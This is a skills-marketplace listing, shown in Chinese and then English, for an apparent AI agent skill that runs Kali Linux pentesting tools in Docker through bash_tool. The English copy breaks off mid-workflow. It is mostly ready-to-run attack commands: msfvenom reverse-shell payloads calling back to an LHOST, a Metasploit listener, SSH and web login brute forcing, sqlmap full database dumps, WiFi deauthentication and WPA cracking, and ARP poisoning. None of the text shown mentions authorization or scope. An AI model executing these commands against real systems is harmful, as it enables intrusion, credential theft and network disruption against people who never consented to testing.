kali-docker-pentesting by kroegha/kali-docker-pentesting
npx skills add https://github.com/kroegha/kali-docker-pentesting --skill kali-docker-pentesting此技能提供对包含 200 多种渗透测试工具的全面 Kali Linux Docker 容器的智能访问。该技能不使用 MCP 服务器,而是通过 bash_tool 实现直接命令执行,使其令牌效率提高 70%。
# 基本启动
docker run -d --name kali \
-v $(pwd)/workspace:/workspace \
-v $(pwd)/results:/results \
kali-comprehensive
# 具备网络能力(用于实际扫描)
docker run -d --name kali \
-v $(pwd)/workspace:/workspace \
-v $(pwd)/results:/results \
--cap-add=NET_RAW \
--cap-add=NET_ADMIN \
--network host \
kali-comprehensive
# 具备 GUI 访问(VNC)
docker run -d --name kali \
-v $(pwd)/workspace:/workspace \
-p 5900:5900 \
-p 3389:3389 \
kali-comprehensive
# 执行单条命令
docker exec kali [tool] [options]
# 交互式 shell
docker exec -it kali /bin/bash
# 复制文件出来
docker cp kali:/results/scan.txt ./output/
# 复制文件进去
docker cp ./wordlist.txt kali:/workspace/
# 停止容器
docker stop kali
# 启动现有容器
docker start kali
# 移除容器
docker rm kali
# 查看日志
docker logs kali
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
描述: 行业标准的网络扫描器,用于主机发现、端口扫描和服务检测。
用法:
# 基本扫描
docker exec kali nmap 192.168.1.1
# 服务版本检测
docker exec kali nmap -sV 192.168.1.1
# 操作系统检测
docker exec kali nmap -O 192.168.1.1
# 全面扫描
docker exec kali nmap -sC -sV -O -p- 192.168.1.1
# 保存结果
docker exec kali nmap -sV -oA /results/scan 192.168.1.0/24
常用选项:
-sS - SYN 隐形扫描-sT - TCP 连接扫描-sU - UDP 扫描-sV - 版本检测-O - 操作系统检测-A - 主动扫描(操作系统、版本、脚本、路由跟踪)-p- - 扫描所有 65535 个端口-Pn - 跳过 ping(假设主机在线)-T4 - 更快的时序(0-5)-oA - 输出所有格式描述: 极快的端口扫描器,可在 6 分钟内扫描整个互联网。
用法:
# 扫描特定端口
docker exec kali masscan 192.168.1.0/24 -p80,443,8080
# 快速扫描所有端口
docker exec kali masscan 192.168.1.0/24 -p0-65535 --rate=10000
# 保存结果
docker exec kali masscan 10.0.0.0/8 -p80 -oL /results/masscan.txt
描述: 主动/被动 ARP 侦察工具。
用法:
# 被动模式
docker exec kali netdiscover -p -i eth0
# 带范围的主动模式
docker exec kali netdiscover -r 192.168.1.0/24
描述: 使用 ARP 发现 IPv4 主机。
用法:
docker exec kali arp-scan --localnet
docker exec kali arp-scan 192.168.1.0/24
描述: Web 服务器漏洞扫描器。
用法:
# 基本扫描
docker exec kali nikto -h http://target.com
# SSL 扫描
docker exec kali nikto -h https://target.com -ssl
# 保存结果
docker exec kali nikto -h http://target.com -o /results/nikto.txt
# 调优选项
docker exec kali nikto -h http://target.com -Tuning 123bde
描述: Web 内容扫描器。
用法:
# 默认字典
docker exec kali dirb http://target.com
# 自定义字典
docker exec kali dirb http://target.com /usr/share/wordlists/dirb/common.txt
# 保存结果
docker exec kali dirb http://target.com -o /results/dirb.txt
# 扩展名
docker exec kali dirb http://target.com -X .php,.html,.txt
描述: 快速的目录和 DNS 枚举工具。
用法:
# 目录枚举
docker exec kali gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# DNS 子域名枚举
docker exec kali gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# 虚拟主机发现
docker exec kali gobuster vhost -u http://target.com -w /usr/share/wordlists/vhosts.txt
描述: Web 应用程序模糊测试器。
用法:
# 目录模糊测试
docker exec kali wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ
# 参数模糊测试
docker exec kali wfuzz -c -z file,/usr/share/wordlists/passwords.txt http://target.com/page?id=FUZZ
# POST 数据模糊测试
docker exec kali wfuzz -c -z file,users.txt -z file,pass.txt -d "user=FUZZ&pass=FUZ2Z" http://target.com/login
描述: 自动化的 SQL 注入和数据库接管工具。
用法:
# 基本测试
docker exec kali sqlmap -u "http://target.com/page?id=1"
# POST 请求
docker exec kali sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
# 枚举数据库
docker exec kali sqlmap -u "http://target.com/page?id=1" --dbs
# 转储数据库
docker exec kali sqlmap -u "http://target.com/page?id=1" -D dbname --dump
# 全自动模式
docker exec kali sqlmap -u "http://target.com/page?id=1" --batch --dump-all
描述: WordPress 漏洞扫描器。
用法:
# 基本扫描
docker exec kali wpscan --url http://target.com
# 枚举用户
docker exec kali wpscan --url http://target.com --enumerate u
# 枚举插件
docker exec kali wpscan --url http://target.com --enumerate p
# 主动扫描
docker exec kali wpscan --url http://target.com --enumerate ap,at,cb,dbe
描述: 识别网站和 Web 技术。
用法:
# 基本扫描
docker exec kali whatweb http://target.com
# 主动模式
docker exec kali whatweb -a 3 http://target.com
# 扫描多个 URL
docker exec kali whatweb -i /workspace/urls.txt
描述: 快速的密码破解器。
用法:
# 使用默认字典破解
docker exec kali john /workspace/hashes.txt
# 使用 rockyou 字典
docker exec kali john --wordlist=/usr/share/wordlists/rockyou.txt /workspace/hashes.txt
# 破解特定格式
docker exec kali john --format=raw-md5 /workspace/hashes.txt
# 显示已破解的密码
docker exec kali john --show /workspace/hashes.txt
# 增量模式
docker exec kali john --incremental /workspace/hashes.txt
描述: 世界上最快的密码破解器。
用法:
# MD5 破解
docker exec kali hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# SHA256 破解
docker exec kali hashcat -m 1400 -a 0 hashes.txt wordlist.txt
# 暴力破解
docker exec kali hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a
# 显示结果
docker exec kali hashcat -m 0 hashes.txt --show
哈希模式:
描述: 快速的网络登录破解器。
用法:
# SSH 暴力破解
docker exec kali hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# HTTP POST 表单
docker exec kali hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
# FTP 暴力破解
docker exec kali hydra -L users.txt -P passwords.txt ftp://192.168.1.1
# 多种协议
docker exec kali hydra -L users.txt -P passwords.txt 192.168.1.1 ssh ftp http
描述: 快速、并行、模块化的登录暴力破解器。
用法:
# SSH 攻击
docker exec kali medusa -h 192.168.1.1 -u admin -P passwords.txt -M ssh
# HTTP 基本认证
docker exec kali medusa -h 192.168.1.1 -u admin -P passwords.txt -M http
描述: 生成自定义字典。
用法:
# 生成 6-8 位字符字典
docker exec kali crunch 6 8 -o /results/wordlist.txt
# 自定义字符集
docker exec kali crunch 4 6 0123456789 -o /results/numbers.txt
# 基于模式
docker exec kali crunch 8 8 -t pass@@@@ -o /results/pattern.txt
描述: 用于评估 WiFi 网络安全的完整套件。
用法:
# 启动监控模式
docker exec kali airmon-ng start wlan0
# 捕获数据包
docker exec kali airodump-ng wlan0mon
# 捕获特定网络
docker exec kali airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon
# 解除认证攻击
docker exec kali aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# 破解 WPA 握手包
docker exec kali aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
描述: 自动化无线攻击工具。
用法:
# 自动 WPA 攻击
docker exec kali wifite --wpa
# 所有攻击类型
docker exec kali wifite
# 特定目标
docker exec kali wifite -i wlan0 --kill
描述: 暴力破解 WPS PIN 码。
用法:
docker exec kali reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
描述: 从公共来源收集邮箱、子域名、IP。
用法:
# 搜索所有来源
docker exec kali theharvester -d target.com -b all
# 特定来源
docker exec kali theharvester -d target.com -b google
# 保存结果
docker exec kali theharvester -d target.com -b all -f /results/harvest
描述: DNS 枚举和网络侦察。
用法:
# 标准枚举
docker exec kali dnsrecon -d target.com
# 区域传输
docker exec kali dnsrecon -d target.com -a
# 暴力破解子域名
docker exec kali dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt
描述: 使用 OSINT 快速枚举子域名。
用法:
# 基本枚举
docker exec kali sublist3r -d target.com
# 启用暴力破解
docker exec kali sublist3r -d target.com -b
# 保存结果
docker exec kali sublist3r -d target.com -o /results/subdomains.txt
描述: 用于枚举 Windows 和 Samba 系统信息的工具。
用法:
# 完全枚举
docker exec kali enum4linux -a 192.168.1.1
# 用户枚举
docker exec kali enum4linux -U 192.168.1.1
# 共享枚举
docker exec kali enum4linux -S 192.168.1.1
描述: Deepmagic 信息收集工具。
用法:
# 完全扫描
docker exec kali dmitry -winsepo /results/dmitry.txt target.com
# 子域名搜索
docker exec kali dmitry -s target.com
描述: 世界上最常用的渗透测试框架。
用法:
# 启动 msfconsole
docker exec -it kali msfconsole
# 生成载荷
docker exec kali msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > /results/payload.exe
# 搜索漏洞利用
docker exec -it kali bash -c "echo 'search tomcat' | msfconsole -q"
# 运行资源脚本
docker exec kali msfconsole -r /workspace/script.rc
常用 msfvenom 载荷:
# Windows 反向 shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
# Linux 反向 shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
# PHP 反向 shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk
描述: 社会工程学渗透测试框架。
用法:
# 启动 SET
docker exec -it kali setoolkit
描述: 分析和提取固件镜像。
用法:
# 扫描嵌入式文件
docker exec kali binwalk /workspace/firmware.bin
# 提取文件
docker exec kali binwalk -e /workspace/firmware.bin
# 签名扫描
docker exec kali binwalk --signature /workspace/file.bin
描述: 基于文件头和尾恢复文件。
用法:
# 恢复所有文件类型
docker exec kali foremost -i /workspace/image.dd -o /results/recovered
# 特定文件类型
docker exec kali foremost -t jpg,png,pdf -i /workspace/image.dd -o /results/
描述: 高级内存取证框架。
用法:
# 获取镜像信息
docker exec kali volatility -f /workspace/memory.dump imageinfo
# 列出进程
docker exec kali volatility -f /workspace/memory.dump --profile=Win7SP1x64 pslist
# 转储进程
docker exec kali volatility -f /workspace/memory.dump --profile=Win7SP1x64 procdump -p 1234 -D /results/
描述: 从文件中提取可打印字符串。
用法:
# 基本提取
docker exec kali strings /workspace/binary > /results/strings.txt
# 最小长度 10
docker exec kali strings -n 10 /workspace/binary
# Unicode 字符串
docker exec kali strings -e l /workspace/binary
描述: 读取和写入文件中的元信息。
用法:
# 查看元数据
docker exec kali exiftool /workspace/image.jpg
# 移除所有元数据
docker exec kali exiftool -all= /workspace/image.jpg
# 批量处理
docker exec kali exiftool /workspace/*.jpg
描述: NSA 的软件逆向工程框架。
用法:
# GUI 模式(需要 X11 转发)
docker exec -it kali ghidra
# 无头模式
docker exec kali analyzeHeadless /workspace /project -import /workspace/binary.exe
描述: 高级逆向工程框架。
用法:
# 打开二进制文件
docker exec -it kali r2 /workspace/binary
# 分析
docker exec -it kali bash -c "echo 'aaa; pdf' | r2 /workspace/binary"
# 反汇编
docker exec kali r2 -c 'pd 10' /workspace/binary
描述: Unix 系统的标准调试器。
用法:
# 调试二进制文件
docker exec -it kali gdb /workspace/binary
# 使用 PEDA
docker exec -it kali gdb -q /workspace/binary
描述: Unix/Linux 系统的安全审计工具。
用法:
# 完全审计
docker exec kali lynis audit system
# 快速扫描
docker exec kali lynis audit system --quick
(参见 Web 应用程序测试部分)
描述: 功能齐全的漏洞扫描器。
用法:
# 启动 OpenVAS(需要初始化)
docker exec kali openvas-start
描述: 命令行数据包分析器。
用法:
# 在接口上捕获
docker exec kali tcpdump -i eth0
# 捕获到文件
docker exec kali tcpdump -i eth0 -w /results/capture.pcap
# 读取文件
docker exec kali tcpdump -r /results/capture.pcap
# 过滤 HTTP
docker exec kali tcpdump -i eth0 'tcp port 80'
描述: 基于终端的 Wireshark。
用法:
# 捕获数据包
docker exec kali tshark -i eth0
# 捕获到文件
docker exec kali tshark -i eth0 -w /results/capture.pcap
# 过滤显示
docker exec kali tshark -r /results/capture.pcap -Y 'http.request'
描述: 用于中间人攻击的全面套件。
用法:
# 文本模式
docker exec -it kali ettercap -T -i eth0
# ARP 欺骗
docker exec kali ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//
# 步骤 1:发现存活主机
docker exec kali nmap -sn 192.168.1.0/24 -oA /results/hosts
# 步骤 2:端口扫描发现的主机
docker exec kali nmap -sV -p- -iL /results/hosts.txt -oA /results/ports
# 步骤 3:枚举服务
docker exec kali nmap -sC -sV -p 80,443,22,21 192.168.1.0/24 -oA /results/services
# 步骤 1:识别 Web 技术
docker exec kali whatweb http://target.com
# 步骤 2:目录枚举
docker exec kali gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -o /results/dirs.txt
# 步骤 3:漏洞扫描
docker exec kali nikto -h http://target.com -o /results/nikto.txt
# 步骤 4:测试 SQL 注入
docker exec kali sqlmap -u "http://target.com/page?id=1" --batch
# 步骤 1:生成字典
docker exec kali crunch 8 12 -t Pass@@@@ -o /results/wordlist.txt
# 步骤 2:破解哈希
docker exec kali john --wordlist=/results/wordlist.txt /workspace/hashes.txt
# 步骤 3:网络服务暴力破解
docker exec kali hydra -L /workspace/users.txt -P /results/wordlist.txt ssh://192.168.1.1
# 步骤 1:启用监控模式
docker exec kali airmon-ng start wlan0
# 步骤 2:扫描网络
docker exec kali airodump-ng wlan0mon
# 步骤 3:捕获握手包
docker exec kali airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon
# 步骤 4:解除客户端认证
docker exec kali aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# 步骤 5:破解 WPA
docker exec kali aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
# 步骤 1:搜索漏洞利用
docker exec kali searchsploit apache 2.4.49
# 步骤 2:生成载荷
docker exec kali msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /results/payload.exe
# 步骤 3:在 Metasploit 中设置监听器
docker exec -it kali msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
# 复制到容器
docker cp ./local-file.txt kali:/workspace/
# 从容器复制
docker cp kali:/results/scan.txt ./output/
# 复制目录
docker cp kali:/results/ ./output/
常见字典位置:
/usr/share/wordlists/rockyou.txt - 最流行的密码列表
/usr/share/wordlists/dirb/common.txt - 常见目录
/usr/share/seclists/ - SecLists 集合
/usr/share/wordlists/metasploit/ - Metasploit 字典
docker exec kali find /usr/share/wordlists -type f
docker exec kali gunzip /usr/share/wordlists/rockyou.txt.gz
# 检查日志
docker logs kali
# 移除并重新创建
docker rm kali
docker run -d --name kali kali-comprehensive
# 使用主机网络
docker run -d --name kali --network host kali-comprehensive
# 添加网络能力
docker run -d --name kali --cap-add=NET_RAW --cap-add=NET_ADMIN kali-comprehensive
# 以 root 身份运行(已经是默认)
docker exec -u root kali [command]
# 修复工作空间权限
docker exec kali chmod -R 777 /workspace /results
# 初始化数据库
docker exec kali service postgresql start
docker exec kali msfdb init
# 检查状态
docker exec kali msfdb status
# 使用输出标志
-o filename.txt # 通用输出
-oA basename # Nmap:所有格式
-w filename # 写入文件
> /results/output.txt # Shell 重定向
挂载卷用于:
/workspace - 工作文件/results - 扫描结果/wordlists - 自定义字典始终:
# 停止监控模式
docker exec kali airmon-ng stop wlan0mon
# 清除临时文件
docker exec kali rm -rf /tmp/*
# 归档结果
docker exec kali tar -czf /results/assessment-$(date +%Y%m%d).tar.gz /results/*.txt
docker exec kali nmap -sV -p- target
docker exec kali gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
docker exec kali sqlmap -u "http://target/page?id=1" --batch
docker exec kali john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
docker exec kali hydra -l admin -P passwords.txt ssh://target
docker exec kali aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap
在以下情况下使用此技能:
Claude 将读取此技能并通过 bash_tool 执行命令,提供对所有渗透测试工具的高效、直接访问,而无需 MCP 协议开销。
每周安装次数
87
仓库
GitHub 星标数
12
首次出现
2026年1月25日
安全审计
安装于
gemini-cli76
opencode75
codex72
github-copilot71
cursor65
kimi-cli64
This skill provides intelligent access to a comprehensive Kali Linux Docker container with 200+ pentesting tools. Instead of using an MCP server, this skill enables direct command execution via bash_tool, making it 70% more token-efficient.
# Basic start
docker run -d --name kali \
-v $(pwd)/workspace:/workspace \
-v $(pwd)/results:/results \
kali-comprehensive
# With network capabilities (for actual scanning)
docker run -d --name kali \
-v $(pwd)/workspace:/workspace \
-v $(pwd)/results:/results \
--cap-add=NET_RAW \
--cap-add=NET_ADMIN \
--network host \
kali-comprehensive
# With GUI access (VNC)
docker run -d --name kali \
-v $(pwd)/workspace:/workspace \
-p 5900:5900 \
-p 3389:3389 \
kali-comprehensive
# Execute single command
docker exec kali [tool] [options]
# Interactive shell
docker exec -it kali /bin/bash
# Copy files out
docker cp kali:/results/scan.txt ./output/
# Copy files in
docker cp ./wordlist.txt kali:/workspace/
# Stop container
docker stop kali
# Start existing container
docker start kali
# Remove container
docker rm kali
# View logs
docker logs kali
Description: Industry-standard network scanner for host discovery, port scanning, and service detection.
Usage:
# Basic scan
docker exec kali nmap 192.168.1.1
# Service version detection
docker exec kali nmap -sV 192.168.1.1
# OS detection
docker exec kali nmap -O 192.168.1.1
# Comprehensive scan
docker exec kali nmap -sC -sV -O -p- 192.168.1.1
# Save results
docker exec kali nmap -sV -oA /results/scan 192.168.1.0/24
Common Options:
-sS - SYN stealth scan-sT - TCP connect scan-sU - UDP scan-sV - Version detection-O - OS detection-A - Aggressive scan (OS, version, scripts, traceroute)-p- - Scan all 65535 ports-Pn - Skip ping (assume host is up)-T4 - Faster timing (0-5)-oA - Output all formatsDescription: Extremely fast port scanner, can scan the entire internet in under 6 minutes.
Usage:
# Scan specific ports
docker exec kali masscan 192.168.1.0/24 -p80,443,8080
# Scan all ports fast
docker exec kali masscan 192.168.1.0/24 -p0-65535 --rate=10000
# Save results
docker exec kali masscan 10.0.0.0/8 -p80 -oL /results/masscan.txt
Description: Active/passive ARP reconnaissance tool.
Usage:
# Passive mode
docker exec kali netdiscover -p -i eth0
# Active mode with range
docker exec kali netdiscover -r 192.168.1.0/24
Description: Discovers IPv4 hosts using ARP.
Usage:
docker exec kali arp-scan --localnet
docker exec kali arp-scan 192.168.1.0/24
Description: Web server vulnerability scanner.
Usage:
# Basic scan
docker exec kali nikto -h http://target.com
# SSL scan
docker exec kali nikto -h https://target.com -ssl
# Save results
docker exec kali nikto -h http://target.com -o /results/nikto.txt
# Tuning options
docker exec kali nikto -h http://target.com -Tuning 123bde
Description: Web content scanner.
Usage:
# Default wordlist
docker exec kali dirb http://target.com
# Custom wordlist
docker exec kali dirb http://target.com /usr/share/wordlists/dirb/common.txt
# Save results
docker exec kali dirb http://target.com -o /results/dirb.txt
# Extensions
docker exec kali dirb http://target.com -X .php,.html,.txt
Description: Fast directory and DNS enumeration tool.
Usage:
# Directory enumeration
docker exec kali gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# DNS subdomain enumeration
docker exec kali gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Virtual host discovery
docker exec kali gobuster vhost -u http://target.com -w /usr/share/wordlists/vhosts.txt
Description: Web application fuzzer.
Usage:
# Directory fuzzing
docker exec kali wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ
# Parameter fuzzing
docker exec kali wfuzz -c -z file,/usr/share/wordlists/passwords.txt http://target.com/page?id=FUZZ
# POST data fuzzing
docker exec kali wfuzz -c -z file,users.txt -z file,pass.txt -d "user=FUZZ&pass=FUZ2Z" http://target.com/login
Description: Automatic SQL injection and database takeover tool.
Usage:
# Basic test
docker exec kali sqlmap -u "http://target.com/page?id=1"
# POST request
docker exec kali sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
# Enumerate databases
docker exec kali sqlmap -u "http://target.com/page?id=1" --dbs
# Dump database
docker exec kali sqlmap -u "http://target.com/page?id=1" -D dbname --dump
# Full automation
docker exec kali sqlmap -u "http://target.com/page?id=1" --batch --dump-all
Description: WordPress vulnerability scanner.
Usage:
# Basic scan
docker exec kali wpscan --url http://target.com
# Enumerate users
docker exec kali wpscan --url http://target.com --enumerate u
# Enumerate plugins
docker exec kali wpscan --url http://target.com --enumerate p
# Aggressive scan
docker exec kali wpscan --url http://target.com --enumerate ap,at,cb,dbe
Description: Identifies websites and web technologies.
Usage:
# Basic scan
docker exec kali whatweb http://target.com
# Aggressive mode
docker exec kali whatweb -a 3 http://target.com
# Scan multiple URLs
docker exec kali whatweb -i /workspace/urls.txt
Description: Fast password cracker.
Usage:
# Crack with default wordlist
docker exec kali john /workspace/hashes.txt
# Use rockyou wordlist
docker exec kali john --wordlist=/usr/share/wordlists/rockyou.txt /workspace/hashes.txt
# Crack specific format
docker exec kali john --format=raw-md5 /workspace/hashes.txt
# Show cracked passwords
docker exec kali john --show /workspace/hashes.txt
# Incremental mode
docker exec kali john --incremental /workspace/hashes.txt
Description: World's fastest password cracker.
Usage:
# MD5 crack
docker exec kali hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# SHA256 crack
docker exec kali hashcat -m 1400 -a 0 hashes.txt wordlist.txt
# Brute force
docker exec kali hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a
# Show results
docker exec kali hashcat -m 0 hashes.txt --show
Hash Modes:
Description: Fast network logon cracker.
Usage:
# SSH brute force
docker exec kali hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# HTTP POST form
docker exec kali hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
# FTP brute force
docker exec kali hydra -L users.txt -P passwords.txt ftp://192.168.1.1
# Multiple protocols
docker exec kali hydra -L users.txt -P passwords.txt 192.168.1.1 ssh ftp http
Description: Speedy, parallel, modular login brute-forcer.
Usage:
# SSH attack
docker exec kali medusa -h 192.168.1.1 -u admin -P passwords.txt -M ssh
# HTTP basic auth
docker exec kali medusa -h 192.168.1.1 -u admin -P passwords.txt -M http
Description: Generates custom wordlists.
Usage:
# Generate 6-8 character wordlist
docker exec kali crunch 6 8 -o /results/wordlist.txt
# Custom charset
docker exec kali crunch 4 6 0123456789 -o /results/numbers.txt
# Pattern-based
docker exec kali crunch 8 8 -t pass@@@@ -o /results/pattern.txt
Description: Complete suite for assessing WiFi network security.
Usage:
# Start monitor mode
docker exec kali airmon-ng start wlan0
# Capture packets
docker exec kali airodump-ng wlan0mon
# Capture specific network
docker exec kali airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon
# Deauth attack
docker exec kali aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack WPA handshake
docker exec kali aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
Description: Automated wireless attack tool.
Usage:
# Automatic WPA attack
docker exec kali wifite --wpa
# All attack types
docker exec kali wifite
# Specific target
docker exec kali wifite -i wlan0 --kill
Description: Brute force WPS PINs.
Usage:
docker exec kali reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
Description: Gather emails, subdomains, IPs from public sources.
Usage:
# Search all sources
docker exec kali theharvester -d target.com -b all
# Specific source
docker exec kali theharvester -d target.com -b google
# Save results
docker exec kali theharvester -d target.com -b all -f /results/harvest
Description: DNS enumeration and network reconnaissance.
Usage:
# Standard enumeration
docker exec kali dnsrecon -d target.com
# Zone transfer
docker exec kali dnsrecon -d target.com -a
# Brute force subdomains
docker exec kali dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt
Description: Fast subdomain enumeration using OSINT.
Usage:
# Basic enumeration
docker exec kali sublist3r -d target.com
# Enable brute force
docker exec kali sublist3r -d target.com -b
# Save results
docker exec kali sublist3r -d target.com -o /results/subdomains.txt
Description: Tool for enumerating information from Windows and Samba systems.
Usage:
# Full enumeration
docker exec kali enum4linux -a 192.168.1.1
# User enumeration
docker exec kali enum4linux -U 192.168.1.1
# Share enumeration
docker exec kali enum4linux -S 192.168.1.1
Description: Deepmagic Information Gathering Tool.
Usage:
# Full scan
docker exec kali dmitry -winsepo /results/dmitry.txt target.com
# Subdomain search
docker exec kali dmitry -s target.com
Description: The world's most used penetration testing framework.
Usage:
# Start msfconsole
docker exec -it kali msfconsole
# Generate payload
docker exec kali msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > /results/payload.exe
# Search exploits
docker exec -it kali bash -c "echo 'search tomcat' | msfconsole -q"
# Run resource script
docker exec kali msfconsole -r /workspace/script.rc
Common msfvenom payloads:
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk
Description: Social engineering penetration testing framework.
Usage:
# Start SET
docker exec -it kali setoolkit
Description: Analyze and extract firmware images.
Usage:
# Scan for embedded files
docker exec kali binwalk /workspace/firmware.bin
# Extract files
docker exec kali binwalk -e /workspace/firmware.bin
# Signature scan
docker exec kali binwalk --signature /workspace/file.bin
Description: Recover files based on headers and footers.
Usage:
# Recover all file types
docker exec kali foremost -i /workspace/image.dd -o /results/recovered
# Specific file types
docker exec kali foremost -t jpg,png,pdf -i /workspace/image.dd -o /results/
Description: Advanced memory forensics framework.
Usage:
# Get image info
docker exec kali volatility -f /workspace/memory.dump imageinfo
# List processes
docker exec kali volatility -f /workspace/memory.dump --profile=Win7SP1x64 pslist
# Dump process
docker exec kali volatility -f /workspace/memory.dump --profile=Win7SP1x64 procdump -p 1234 -D /results/
Description: Extract printable strings from files.
Usage:
# Basic extraction
docker exec kali strings /workspace/binary > /results/strings.txt
# Minimum length 10
docker exec kali strings -n 10 /workspace/binary
# Unicode strings
docker exec kali strings -e l /workspace/binary
Description: Read and write meta information in files.
Usage:
# View metadata
docker exec kali exiftool /workspace/image.jpg
# Remove all metadata
docker exec kali exiftool -all= /workspace/image.jpg
# Batch process
docker exec kali exiftool /workspace/*.jpg
Description: NSA's software reverse engineering framework.
Usage:
# GUI mode (requires X11 forwarding)
docker exec -it kali ghidra
# Headless mode
docker exec kali analyzeHeadless /workspace /project -import /workspace/binary.exe
Description: Advanced reverse engineering framework.
Usage:
# Open binary
docker exec -it kali r2 /workspace/binary
# Analyze
docker exec -it kali bash -c "echo 'aaa; pdf' | r2 /workspace/binary"
# Disassemble
docker exec kali r2 -c 'pd 10' /workspace/binary
Description: Standard debugger for Unix systems.
Usage:
# Debug binary
docker exec -it kali gdb /workspace/binary
# With PEDA
docker exec -it kali gdb -q /workspace/binary
Description: Security auditing tool for Unix/Linux systems.
Usage:
# Full audit
docker exec kali lynis audit system
# Quick scan
docker exec kali lynis audit system --quick
(See Web Application Testing section)
Description: Full-featured vulnerability scanner.
Usage:
# Start OpenVAS (requires initialization)
docker exec kali openvas-start
Description: Command-line packet analyzer.
Usage:
# Capture on interface
docker exec kali tcpdump -i eth0
# Capture to file
docker exec kali tcpdump -i eth0 -w /results/capture.pcap
# Read file
docker exec kali tcpdump -r /results/capture.pcap
# Filter HTTP
docker exec kali tcpdump -i eth0 'tcp port 80'
Description: Terminal-based Wireshark.
Usage:
# Capture packets
docker exec kali tshark -i eth0
# Capture to file
docker exec kali tshark -i eth0 -w /results/capture.pcap
# Filter display
docker exec kali tshark -r /results/capture.pcap -Y 'http.request'
Description: Comprehensive suite for MITM attacks.
Usage:
# Text mode
docker exec -it kali ettercap -T -i eth0
# ARP poisoning
docker exec kali ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//
# Step 1: Discover live hosts
docker exec kali nmap -sn 192.168.1.0/24 -oA /results/hosts
# Step 2: Port scan discovered hosts
docker exec kali nmap -sV -p- -iL /results/hosts.txt -oA /results/ports
# Step 3: Enumerate services
docker exec kali nmap -sC -sV -p 80,443,22,21 192.168.1.0/24 -oA /results/services
# Step 1: Identify web technologies
docker exec kali whatweb http://target.com
# Step 2: Directory enumeration
docker exec kali gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -o /results/dirs.txt
# Step 3: Vulnerability scan
docker exec kali nikto -h http://target.com -o /results/nikto.txt
# Step 4: Test for SQLi
docker exec kali sqlmap -u "http://target.com/page?id=1" --batch
# Step 1: Generate wordlist
docker exec kali crunch 8 12 -t Pass@@@@ -o /results/wordlist.txt
# Step 2: Crack hashes
docker exec kali john --wordlist=/results/wordlist.txt /workspace/hashes.txt
# Step 3: Network service brute force
docker exec kali hydra -L /workspace/users.txt -P /results/wordlist.txt ssh://192.168.1.1
# Step 1: Enable monitor mode
docker exec kali airmon-ng start wlan0
# Step 2: Scan networks
docker exec kali airodump-ng wlan0mon
# Step 3: Capture handshake
docker exec kali airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon
# Step 4: Deauth clients
docker exec kali aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Step 5: Crack WPA
docker exec kali aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
# Step 1: Search for exploit
